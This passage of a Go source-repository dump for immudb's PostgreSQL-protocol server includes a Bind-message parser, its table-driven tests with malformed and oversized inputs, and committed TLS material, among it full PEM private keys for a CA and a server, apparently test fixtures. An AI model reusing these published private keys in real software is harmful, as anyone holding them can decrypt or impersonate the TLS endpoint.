ECK6MfXHH8pdvk4PxMNC/m70dZ2tZSNiyV3B0ngKRVJoF/9gKoQqQrlOgbFUNX1Z BXv7o5vEMFkgTehOXM6jOkyfKqo/4TEO0StySet8miOYKtOGqWj4FzOSEc/48svE nIeQfOPiK4NxEXwOLwjW2E2vzyAps4ZmlASHGfr8gwIDAQABo1MwUTAdBgNVHQ4E FgQUUho7f1Gpfivi/wweuhE5HuEAO4cwHwYDVR0jBBgwFoAUUho7f1Gpfivi/wwe uhE5HuEAO4cwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAAsnD F3rwcVdBZJR9IzsViRvXstK0yfF8cdQE8uI6Hp9DzHOjHkdt2kBMrqRZNaxUdecd i1Bt4/t43L/7tabNNxTI/Iubu9qAKZ6+oLJXpZAiKXWsob9eulA+8yZiG/LEzfpy p6WkEPPNPNc1ISZk6o0KXoIBo0Yp1xwVuX/xTNgn2T//JBcuJ0b2PUOW+71sSlWH tD6HVYcyDmpV3iKZLsLVaVvGQ3FEFMe8n+Hv/h1HRd7xTwX11dbKDLHWr25zNbKj Ekv9u7ePSaO01FNeDqvQddmFQDwA6jgAPlogMO2/MOyBjHu7w6nQl3gjqrJkzJK0 jQ1n74uhAwH7c7xrVyE3pW71vpV4nHK2LvzTh+UqtFy+MLFVhr+qCtB7R7NxqIcq 65KxznjqtMSK4+w3SMX2IqDX4lBJ0jMhENULPVsmYr1g4OPkdiLM8HV0YolZP7EZ 0yW2QABRIcH6Weqt3BvUIlqfsIBimyKSDLWzvKOYfOQWYhvwzqlGmNKUzrxeAIes hLRHKCzkprSCqCh6zXgjG/lZD38exGbBj4TXFReTnqdF4SNNJTxDGe3lS2nr9RCI E9m57ZttBbGDkRUs3OV1XW0XSGuvkDZaB1QoOBE5sbm4JBX2pfN9mdGeq/HXOCiv qanwE0bUvzP9FQG1+4XPotP1CZVPoMegLPs5dZc= -----END CERTIFICATE----- ================================================ FILE: pkg/pgsql/server/cert/ca-cert.srl ================================================ 46A407E210F53EBCE67145513C1202036E594946 ================================================ FILE: pkg/pgsql/server/cert/ca-key.pem ================================================ -----BEGIN PRIVATE KEY----- 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 vwopAU/AmEZF2KGlf1bbRVoXxATi -----END PRIVATE KEY----- ================================================ FILE: pkg/pgsql/server/cert/server-cert.pem ================================================ -----BEGIN CERTIFICATE----- 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 DfIq9nBctboYMcAmAa/u4aIiX0NJhXAF+FCgwzc= -----END CERTIFICATE----- ================================================ FILE: pkg/pgsql/server/cert/server-ext.cnf ================================================ subjectAltName=DNS:*.immudb.com,IP:0.0.0.0 ================================================ FILE: pkg/pgsql/server/cert/server-key.pem ================================================ -----BEGIN PRIVATE KEY----- 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 bonieX/tWyj+V6l1vlkUwd4xTGas -----END PRIVATE KEY----- ================================================ FILE: pkg/pgsql/server/cert/server-req.pem ================================================ -----BEGIN CERTIFICATE REQUEST----- MIIEuzCCAqMCAQAwdjELMAkGA1UEBhMCVVMxDjAMBgNVBAgMBVRleGFzMRAwDgYD VQQHDAdIb3VzdG9uMQ8wDQYDVQQKDAZpbW11ZGIxFDASBgNVBAMMCyouaW1tdWRi LmlvMR4wHAYJKoZIhvcNAQkBFg9pbmZvQGltbXVkYi5jb20wggIiMA0GCSqGSIb3 DQEBAQUAA4ICDwAwggIKAoICAQDPX6u6QPeuv8k0EmYiG7eO3tvhvF4an/gvju+0 sh0i936x890rMjXdSr0ll/rK3vfVVLDzM35gPllmdNu8jXJKRZLzUyQVcsxYleJV fG3I0EdBHS0u0aew1TK0nHofGYEuVB40nb97SslpkCHxgOo4Fm53FKfT2l/BH4mb 5m/oHqg8D+Aq2g73oGsiMf4krEtJwKQ/+AhWFNhmdOh9P0vd8dLFZ4ZZs19m1xpP f3lhGfvJAFR8HQ5/7a03msXUTNeAxhQmrC/dVanGsPATU0Q9Bh2bkAJrKpgYP5yU 7L3eXi0Bbx6EjQV0TnAToZV/otxF0roKMdB2vvGupambxekgCTV3ZuPSLN5kbAyx 8xzEhmkdBvgIxzEVpHae3WpW7JsFitvPrF0Uvesx5vR9y/CPJyHcJLbnTFbDXq3Z w9GV8crs2TiG390D+tElU0/4x8ed76r1Fs8LkMKTISbGoC+OkqhRcAJ2S0/CaxMJ eOTizZRKFXHZsTnR1sDwKug38g2v7QwRtvmOrOT10eXZxLIKd+tbNS/1m1Y0b5ia ZCB1axMTyhv9Y6L6x6a/c34UQaSpMOTTg33D1DjhrRQNVd/ihINfVqQEkxZmnO+B ftZwnnAy4PLkiUTeoQ1Wv+ewF8sffctN1vOrsol5/Hr6cqH12eG5AY+7Hd3NViGL xTpvwwIDAQABoAAwDQYJKoZIhvcNAQELBQADggIBACgdPg5bolGkxeBktGS3m4t3 ZN5bwn98ZO8CbcMSSKiFtgLT2ZdwN07O1y/KWN3LZLiqac83VGczA5FrQeJ3J2Yx hd98C6Zda/xT8O4fgVzoL/QDIkVJFBAjHs+nIFTCBZMVI6kmiw/SMNrKPzL7Vl7Q VPiPIpCB85pg1ZZadlakpimyxapT05Rww0EJI7DwXtd+GfaKNOsETUa0g7qFq1wI 7ko6vN2NF6sU+PK0zaD8HStyMSgFWpjQfjSwLOlzVFsOFbYqJ3JK8PeX84/ep6/6 zI73pNNBeys9u8dR9OF8xmk1YhKQDtbPzD2mzyYZoyKI8KgzWkfm8/xR6V6yznDv jBKEG0gjt8Hp9OVhno+B9/WZWzTZkzqN2VxdLlLOAq6gnHy3C7aiwfRMZ8Kir9XF qfe7xXYQdCikO2O8jxxzLIP+lWk8B8F83yEK+A+BnN3yIi+A/v5DByrkUzRn78QU qCqqeW4aSlrgdLmfThIkA7Om4fesgKKYaPfjdvzFtJyLqxw4PRbo1kHjmw5xqMob qtuU6zVCzAiOxq+ENlJVrOo3eI0gaYastlWhsi57Maf9IHH+pmMzpS4CVg2nS0OB wQ6oYqWWGH2xhXmgcFH+c/VXb/wYsgkMHiUuIeLCrxaTDQr2zF1cLhXFkuWBInnY uyY9qqJ+0AdO49yENS3M -----END CERTIFICATE REQUEST----- ================================================ FILE: pkg/pgsql/server/fmessages/bind.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fmessages import ( "bufio" "bytes" pgserrors "github.com/codenotary/immudb/pkg/pgsql/errors" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" ) // BindMsg Once a prepared statement exists, it can be readied for execution using a Bind message. The Bind message gives the // name of the source prepared statement (empty string denotes the unnamed prepared statement), the name of the destination // portal (empty string denotes the unnamed portal), and the values to use for any parameter placeholders present in the // prepared statement. The supplied parameter set must match those needed by the prepared statement. (If you declared // any void parameters in the Parse message, pass NULL values for them in the Bind message.) Bind also specifies // the format to use for any data returned by the query; the format can be specified overall, or per-column. // The response is either BindComplete or ErrorResponse. // // Note // The choice between text and binary output is determined by the format codes given in Bind, regardless of the SQL // command involved. The BINARY attribute in cursor declarations is irrelevant when using extended query protocol. type BindMsg struct { // The name of the destination portal (an empty string selects the unnamed portal). DestPortalName string // The name of the source prepared statement (an empty string selects the unnamed prepared statement). PreparedStatementName string // The parameter format codes. Each must presently be zero (text) or one (binary). ParameterFormatCodes []int16 // Array of the values of the parameters, in the format indicated by the associated format code. n is the above length. ParamVals []interface{} // The result-column format codes. Each must presently be zero (text) or one (binary). ResultColumnFormatCodes []int16 } func ParseBindMsg(payload []byte) (BindMsg, error) { b := bytes.NewBuffer(payload) r := bufio.NewReaderSize(b, len(payload)) destPortalName, err := getNextString(r) if err != nil { return BindMsg{}, err } preparedStatement, err := getNextString(r) if err != nil { return BindMsg{}, err } // The number of parameter format codes that follow (denoted C below). // This can be zero to indicate that there are no parameters or that the parameters all use the default format (text); // or one, in which case the specified format code is applied to all parameters; or it can equal the actual number // of parameters. parameterFormatCodeNumber, err := getNextInt16(r) if err != nil { return BindMsg{}, err } if parameterFormatCodeNumber < 0 { return BindMsg{}, pgserrors.ErrMalformedMessage } parameterFormatCodes := make([]int16, parameterFormatCodeNumber) for k := 0; k < int(parameterFormatCodeNumber); k++ { p, err := getNextInt16(r) if err != nil { return BindMsg{}, err } parameterFormatCodes[k] = p } // The number of parameter values that follow (possibly zero). This must match the number of parameters needed by the query. pCount, err := getNextInt16(r) if err != nil { return BindMsg{}, err } // Handling format codes: see resultColumnFormatCodesNumber property comment forceTXT := false forceBIN := false if len(parameterFormatCodes) == 0 { forceTXT = true } if len(parameterFormatCodes) == 1 { switch parameterFormatCodes[0] { case 0: forceTXT = true case 1: forceBIN = true default: return BindMsg{}, pgserrors.ErrMalformedMessage } } if len(parameterFormatCodes) > 1 && len(parameterFormatCodes) != int(pCount) { return BindMsg{}, pgserrors.ErrMalformedMessage } totalParamLen := 0 params := make([]interface{}, 0) for i := 0; i < int(pCount); i++ { pLen, err := getNextInt32(r) if pLen < 0 { return BindMsg{}, pgserrors.ErrNegativeParameterValueLen } if err != nil { return BindMsg{}, err } totalParamLen += int(pLen) if totalParamLen > pgmeta.MaxMsgSize { return BindMsg{}, pgserrors.ErrParametersValueSizeTooLarge } pVal := make([]byte, pLen) _, err = r.Read(pVal) if err != nil { return BindMsg{}, err } if forceTXT { params = append(params, string(pVal)) continue } if forceBIN { params = append(params, pVal) continue } switch parameterFormatCodes[i] { case 0: params = append(params, string(pVal)) case 1: params = append(params, pVal) default: return BindMsg{}, pgserrors.ErrMalformedMessage } } // The number of result-column format codes that follow (denoted R below). // This can be zero to indicate that there are no result columns or that the result columns should all use the // default format (text); or one, in which case the specified format code is applied to all result columns (if any); // or it can equal the actual number of result columns of the query. resultColumnFormatCodesNumber, err := getNextInt16(r) if err != nil { return BindMsg{}, err } if resultColumnFormatCodesNumber < 0 { return BindMsg{}, pgserrors.ErrMalformedMessage } resultColumnFormatCodes := make([]int16, 0, resultColumnFormatCodesNumber) for k := resultColumnFormatCodesNumber; k > 0; k-- { p, err := getNextInt16(r) if err != nil { return BindMsg{}, err } resultColumnFormatCodes = append(resultColumnFormatCodes, p) } return BindMsg{ DestPortalName: destPortalName, PreparedStatementName: preparedStatement, ParamVals: params, ResultColumnFormatCodes: resultColumnFormatCodes, }, nil } ================================================ FILE: pkg/pgsql/server/fmessages/bind_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fmessages import ( "fmt" "io" "math" "testing" pgserror "github.com/codenotary/immudb/pkg/pgsql/errors" h "github.com/codenotary/immudb/pkg/pgsql/server/fmessages/fmessages_test" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" "github.com/stretchr/testify/require" ) func TestParseBindMsg(t *testing.T) { var tests = []struct { in []byte out BindMsg e error }{ {h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}), BindMsg{ DestPortalName: "port", PreparedStatementName: "st", ParamVals: []interface{}{"\x00\x01"}, ResultColumnFormatCodes: []int16{1}, }, nil, }, {h.Join([][]byte{h.S("port"), h.S("st"), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}), BindMsg{ DestPortalName: "port", PreparedStatementName: "st", ParamVals: []interface{}{"\x00\x01"}, ResultColumnFormatCodes: []int16{1}, }, nil, }, {h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1), h.I16(1), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}), BindMsg{ DestPortalName: "port", PreparedStatementName: "st", ParamVals: []interface{}{h.I16(1)}, ResultColumnFormatCodes: []int16{1}, }, nil, }, {h.Join([][]byte{h.S("port"), h.S("st"), h.I16(2), h.I16(1), h.I16(0), h.I16(2), h.I32(2), h.I16(1), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}), BindMsg{ DestPortalName: "port", PreparedStatementName: "st", ParamVals: []interface{}{h.I16(1), "\x00\x01"}, ResultColumnFormatCodes: []int16{1}, }, nil, }, {h.Join([][]byte{}), BindMsg{}, io.EOF, }, {h.Join([][]byte{h.S("port")}), BindMsg{}, io.EOF, }, {h.Join([][]byte{h.S("port"), h.S("st")}), BindMsg{}, io.EOF, }, {h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1)}), BindMsg{}, io.EOF, }, {h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1), h.I16(0)}), BindMsg{}, io.EOF, }, {h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1), h.I16(0), h.I16(1)}), BindMsg{}, io.EOF, }, {h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1), h.I16(0), h.I16(1), h.I32(2)}), BindMsg{}, io.EOF, }, {h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1)}), BindMsg{}, io.EOF, }, {h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1)}), BindMsg{}, io.EOF, }, {h.Join([][]byte{h.S("port"), h.S("st"), h.I16(1), h.I16(5), h.I16(1), h.I32(2), h.I16(1), h.I16(1)}), BindMsg{}, pgserror.ErrMalformedMessage, }, {h.Join([][]byte{h.S("port"), h.S("st"), h.I16(2), h.I16(0), h.I16(1), h.I32(2), h.I16(1), h.I16(1)}), BindMsg{}, pgserror.ErrMalformedMessage, }, {h.Join([][]byte{h.S("port"), h.S("st"), h.I16(2), h.I16(1), h.I16(0), h.I16(2), h.I32(math.MaxInt32), h.B(make([]byte, 1024)), h.I32(2), h.I16(1), h.I16(1), h.I16(1)}), BindMsg{}, 